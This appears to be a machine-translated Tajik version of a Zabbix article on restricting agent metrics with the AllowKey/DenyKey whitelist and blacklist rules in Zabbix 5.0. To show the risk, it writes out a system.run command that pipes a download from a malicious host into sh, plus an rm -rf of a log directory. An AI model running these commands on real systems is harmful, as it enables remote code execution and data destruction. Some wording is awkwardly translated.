Дастгирии рӯйхати сиёҳ ва рӯйхати сафед барои ченакҳои агентӣ дар Zabbix 5.0

Дастгирии рӯйхати сиёҳ ва рӯйхати сафед барои ченакҳои агентӣ дар Zabbix 5.0

Дастгирии рӯйхати сиёҳ ва рӯйхати сафед барои ченакҳои агентӣ

Тихон Усков, Муҳандиси ҳамгироӣ, Zabbix

Масъалаҳои амнияти додаҳо

Zabbix 5.0 дорои хусусияти навест, ки ба шумо имкон медиҳад амниятро дар системаҳо бо истифода аз Zabbix Agent беҳтар созад ва параметри кӯҳнаро иваз кунед EnableRemoteCommands.

Такмили амнияти системаҳои ба агент асосёфта аз он бармеояд, ки агент метавонад шумораи зиёди амалҳои эҳтимолан хатарнокро иҷро кунад.

  • Агент метавонад қариб ҳама гуна маълумот, аз ҷумла маълумоти махфӣ ё эҳтимолан хатарнокро аз файлҳои конфигуратсия, файлҳои журнал, файлҳои парол ё ҳама гуна файлҳои дигар ҷамъоварӣ кунад.

Масалан, бо истифода аз утилитаи zabbix_get шумо метавонед ба рӯйхати корбарон, феҳристҳои хонагии онҳо, файлҳои парол ва ғайра дастрасӣ пайдо кунед.

Дастгирии рӯйхати сиёҳ ва рӯйхати сафед барои ченакҳои агентӣ дар Zabbix 5.0

Дастрасӣ ба маълумот бо истифода аз утилитаи zabbix_get

ШАРҲ. Маълумотро танҳо дар сурате гирифтан мумкин аст, ки агар агент иҷозати хондан дар файли мувофиқ дошта бошад. Аммо, масалан, файл /etc/passwd/ аз ҷониби ҳамаи истифодабарандагон хондан мумкин аст.

  • Агент инчунин метавонад фармонҳои эҳтимолан хатарнокро иҷро кунад. Масалан, калиди *system.run[]** ба шумо имкон медиҳад, ки ҳама гуна фармонҳои дурдаст дар гиреҳҳои шабака, аз ҷумла скриптҳои иҷрошаванда аз веб-интерфейси Zabbix, ки фармонҳоро дар тарафи агент иҷро мекунанд, иҷро кунед.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Дар Linux, агент ба таври нобаёнӣ бидуни имтиёзҳои реша кор мекунад, дар ҳоле ки дар Windows он ҳамчун хидмат ҳамчун Система кор мекунад ва дастрасии бемаҳдуд ба системаи файлиро дорад. Мутаносибан, агар пас аз насб ба параметрҳои Zabbix Agent тағирот ворид нашавад, агент ба реестр, системаи файлӣ дастрасӣ дорад ва метавонад дархостҳои WMI-ро иҷро кунад.

Дар версияҳои қаблӣ параметр EnableRemoteCommands=0 танҳо барои хомӯш кардани ченакҳо бо калид иҷозат дода шудааст *system.run[]** ва скриптҳои иҷрошаванда аз интерфейси веб, аммо ҳеҷ роҳе барои маҳдуд кардани дастрасӣ ба файлҳои инфиродӣ, иҷозат додан ё ғайрифаъол кардани калидҳои инфиродӣ, ки бо агент насб шудаанд ё маҳдуд кардани истифодаи параметрҳои инфиродӣ вуҷуд надошт.

Дастгирии рӯйхати сиёҳ ва рӯйхати сафед барои ченакҳои агентӣ дар Zabbix 5.0

Истифодаи параметри EnableRemoteCommand дар версияҳои қаблии Zabbix

AllowKey/DenyKey

Zabbix 5.0 ба муҳофизат аз чунин дастрасии беиҷозат тавассути пешниҳоди рӯйхатҳои сафед ва рӯйхати сиёҳ барои иҷозат додан ва рад кардани ченакҳо дар ҷониби агент кӯмак мекунад.

Дар Zabbix 5.0 ҳама калидҳо, аз ҷумла *system.run[]** фаъол карда шуданд ва ду имконоти нави конфигуратсияи агент илова карда шуданд:

AllowKey = — чекҳои иҷозатдодашуда;

DenyKey = — чекҳои манъшуда;

Дар куҷо намунаи номи калидӣ бо параметрҳое, ки метачарфаҳоро истифода мебарад (*).

Калидҳои AllowKey ва DenyKey ба шумо имкон медиҳанд, ки нишондиҳандаҳои инфиродӣ дар асоси намунаи мушаххас иҷозат ё рад кунед. Бар хилофи дигар параметрҳои конфигуратсия, шумораи параметрҳои AllowKey/DenyKey маҳдуд нест. Ин ба шумо имкон медиҳад, ки ба таври возеҳ муайян кунед, ки агент дар система чӣ кор карда метавонад, тавассути сохтани дарахти чекҳо - калидҳои иҷрошаванда, ки тартиби навиштани онҳо нақши хеле муҳимро мебозад.

пайдарпайии қоидаҳо

Қоидаҳо бо тартибе, ки онҳо ба файли конфигуратсия ворид карда мешаванд, тафтиш карда мешаванд. Калид мувофиқи қоидаҳо пеш аз бозии аввал тафтиш карда мешавад ва ҳамин ки калиди элементи маълумот ба намуна мувофиқат мекунад, он иҷозат дода мешавад ё рад карда мешавад. Пас аз ин, санҷиши қоида қатъ мешавад ва калидҳои боқимонда сарфи назар карда мешаванд.

Аз ин рӯ, агар унсур ҳам ба қоидаи иҷозат ва ҳам ба радкунӣ мувофиқат кунад, натиҷа аз он вобаста хоҳад буд, ки кадом қоида дар файли конфигуратсия аввал аст.

Дастгирии рӯйхати сиёҳ ва рӯйхати сафед барои ченакҳои агентӣ дар Zabbix 5.0

2 қоидаҳои гуногун бо як намуна ва калид vfs.file.size[/tmp/file]

Тартиби истифодаи калидҳои AllowKey/DenyKey:

  1. қоидаҳои дақиқ,
  2. қоидаҳои умумӣ,
  3. қоидаи манъкунанда.

Масалан, агар ба шумо дастрасӣ ба файлҳо дар ҷузвдони муайян лозим бошад, шумо бояд аввал ба онҳо иҷозат диҳед ва баъд ҳама чизи дигареро, ки ба иҷозатҳои муқарраршуда дохил намешавад, рад кунед. Агар қоидаи радкунӣ аввал истифода шавад, дастрасӣ ба ҷузвдон рад карда мешавад.

Дастгирии рӯйхати сиёҳ ва рӯйхати сафед барои ченакҳои агентӣ дар Zabbix 5.0

пайдарпайии дуруст

Агар ба шумо иҷозат диҳед, ки 2 утилитро тавассути * кор кунандsystem.run[]**, ва қоидаи радкунӣ аввал муайян карда мешавад, утилитаҳо оғоз намешаванд, зеро намунаи аввал ҳамеша ба ҳама гуна калид мувофиқат мекунад ва қоидаҳои минбаъда сарфи назар карда мешаванд.

Дастгирии рӯйхати сиёҳ ва рӯйхати сафед барои ченакҳои агентӣ дар Zabbix 5.0

пайдарпайии нодуруст

Намунаҳо

Қоидаҳои асосӣ

Намуна ифода бо аломатҳои ҷонишин аст. Метааломат (*) ба ҳар як шумораи ҳар гуна аломатҳо дар мавқеи мушаххас мувофиқат мекунад. Мета аломатҳоро ҳам дар номи калид ва ҳам дар параметрҳо истифода бурдан мумкин аст. Масалан, шумо метавонед параметри якумро бо матн ба таври қатъӣ муайян кунед, ва навбатиро ҳамчун аломати ваҳшӣ муайян кунед.

Параметрҳо бояд дар қавси мураббаъ [] дохил карда шаванд.

  • system.run[* - хато
  • vfs.file*.txt] - хато
  • vfs.file.*[*] -дуруст

Намунаҳои истифодаи аломати ваҳшӣ.

  1. Дар номи калид ва дар параметр. Дар ин ҳолат, калид ба калиди шабеҳе, ки параметр надорад, мувофиқат намекунад, зеро дар намуна мо нишон додем, ки мо мехоҳем охири муайяни номи калид ва маҷмӯи муайяни параметрҳоро гирем.
  2. Агар намуна қавсҳои мураббаъро истифода набарад, намуна ба ҳамаи калидҳое, ки параметрҳоро дар бар намегиранд, иҷозат медиҳад ва ҳамаи калидҳоеро, ки параметри муқарраршударо дар бар мегиранд, рад мекунад.
  3. Агар калид пурра навишта шуда бошад ва параметрҳо ҳамчун аломати ваҳшӣ муайян карда шаванд, он ба ҳама гуна калиди шабеҳ бо ҳама параметрҳо мувофиқат мекунад ва ба калиди бидуни қавсҳои квадратӣ мувофиқат намекунад, яъне иҷозат дода мешавад ё рад карда мешавад.

Дастгирии рӯйхати сиёҳ ва рӯйхати сафед барои ченакҳои агентӣ дар Zabbix 5.0

Қоидаҳои пур кардани параметрҳо.

  • Агар калиди дорои параметрҳо барои истифода пешбинӣ шуда бошад, параметрҳо бояд дар файли конфигуратсия нишон дода шаванд. Параметрҳо бояд ҳамчун мета аломат муайян карда шаванд. Дастрасӣ ба ҳама гуна файлро бодиққат рад кардан лозим аст ва ба назар гирифтан лозим аст, ки чӣ гуна маълумотро метрика бо ҳарфҳои гуногун таъмин карда метавонад - бо параметр ва бидуни параметр.

Дастгирии рӯйхати сиёҳ ва рӯйхати сафед барои ченакҳои агентӣ дар Zabbix 5.0

Хусусиятҳои навиштани калидҳо бо параметрҳо

  • Агар калид бо параметрҳо муайян карда шуда бошад, аммо параметрҳо ихтиёрӣ бошанд ва ҳамчун мета аломат муайян карда шаванд, калид бе параметрҳо ҳал карда мешавад. Масалан, агар шумо хоҳед, ки қабули маълумотро дар бораи сарбории CPU ғайрифаъол кунед ва муайян кунед, ки калиди system.cpu.load[*] бояд ғайрифаъол карда шавад, фаромӯш накунед, ки калиди бидуни параметр арзиши миёнаи сарбориро бармегардонад.

Дастгирии рӯйхати сиёҳ ва рӯйхати сафед барои ченакҳои агентӣ дар Zabbix 5.0

Қоидаҳои пур кардани параметрҳо

Эзоҳҳо

танзим

  • Баъзе қоидаҳоро корбар тағир дода наметавонанд, масалан, қоидаҳои кашф ё қоидаҳои худкори сабти агент. Қоидаҳои AllowKey/DenyKey ба параметрҳои зерин таъсир намерасонанд:
    - Номи мизбон
    - HostMetadataItem
    - HostInterfaceItem

ШАРҲ. Агар администратор калидро ғайрифаъол кунад, ҳангоми пурсиш, Zabbix маълумот намедиҳад, ки чаро метрика ё калид ба категорияи ' дохил мешавад.ДАСТГИР НЕСТ'. Маълумот дар бораи манъи иҷрои фармонҳои дурдаст низ дар файлҳои журнали агент намоиш дода намешавад. Ин бо сабабҳои амниятӣ аст, аммо метавонад хатогиро мушкил кунад, агар ченакҳо бо ягон сабаб ба категорияи дастгирӣнашаванда дохил шаванд.

  • Шумо набояд ба ягон тартиби мушаххас барои пайваст кардани файлҳои конфигуратсияи беруна такя накунед (масалан, бо тартиби алифбо).

Утилитҳои сатри фармон

Пас аз муқаррар кардани қоидаҳо, шумо бояд боварӣ ҳосил кунед, ки ҳама чиз дуруст танзим шудааст.

Шумо метавонед яке аз се вариантро истифода баред:

  • Ба Zabbix як метрика илова кунед.
  • Санҷиш бо zabbix_agentd. Агенти Zabbix бо вариант -чоп (-p) ҳамаи калидҳоро нишон медиҳад (ки бо нобаёнӣ иҷозат дода мешавад), ба истиснои онҳое, ки аз ҷониби конфигуратсия иҷозат дода нашудаанд. Ва бо вариант -озмоиш (-t) зеро калиди мамнӯъ бармегардад 'Калиди ҷузъҳои дастгирӣнашаванда'.
  • Санҷиш бо zabbix_get. Утилита zabbix_get бо вариант -k бармегардад 'ZBX_NOTSUPPORTED: Метрики номаълум'.

Иҷозат ё рад

Шумо метавонед дастрасӣ ба файлро рад кунед ва масалан, бо истифода аз утилита тафтиш кунед zabbix_getки дастрасӣ ба файл манъ карда шудааст.

Дастгирии рӯйхати сиёҳ ва рӯйхати сафед барои ченакҳои агентӣ дар Zabbix 5.0

**

ШАРҲ. Иқтибосҳо дар параметр сарфи назар карда мешаванд.

Дар ин ҳолат, дастрасӣ ба чунин файл метавонад тавассути роҳи дигар иҷозат дода шавад. Масалан, агар аломате ба он оварда расонад.

Дастгирии рӯйхати сиёҳ ва рӯйхати сафед барои ченакҳои агентӣ дар Zabbix 5.0

Тавсия дода мешавад, ки вариантҳои гуногуни татбиқи қоидаҳои зикршударо тафтиш кунед ва инчунин имкониятҳои канорагирӣ аз манъкуниро ба назар гиред.

Саволҳо ва ҷавобҳо

савол. Чаро чунин қолаби мураккаб бо забони худ барои тавсифи қоидаҳо, иҷозатҳо ва мамнӯъиятҳо интихоб шуд? Чаро истифода бурдани ибораҳои муқаррарие, ки Zabbix истифода мебарад, имкон надошт?

Ҷавоб диҳед. Ин як масъалаи иҷрои regex аст, зеро одатан танҳо як агент мавҷуд аст ва он шумораи зиёди ченакҳоро тафтиш мекунад. Regex як амалиёти хеле вазнин аст ва мо наметавонем ҳазорҳо нишондиҳандаҳоро бо ин роҳ тафтиш кунем. Рамзҳои ҷодугарӣ - як ҳалли универсалӣ, васеъ истифодашаванда ва оддӣ.

савол. Оё файлҳои Include бо тартиби алифбо дохил карда нашудаанд?

Ҷавоб диҳед. То ҷое ки ман медонам, пешгӯии тартиби татбиқи қоидаҳо амалан ғайриимкон аст, агар шумо қоидаҳоро дар файлҳои гуногун паҳн кунед. Ман тавсия медиҳам, ки ҳамаи қоидаҳои AllowKey/DenyKey дар як файли Include ҷамъоварӣ карда шаванд, зеро онҳо бо ҳамдигар ҳамкорӣ мекунанд ва аз он ҷумла ин файл.

савол. Дар Zabbix 5.0 имконоти 'EnableRemoteCommands=' дар файли конфигуратсия мавҷуд нест ва танҳо AllowKey/DenyKey дастрас аст?

Ҷавоб. Бале, дуруст аст.

Ташаккур барои таваҷҷӯҳатон!

Манбаъ: will.com

Илова Эзоҳ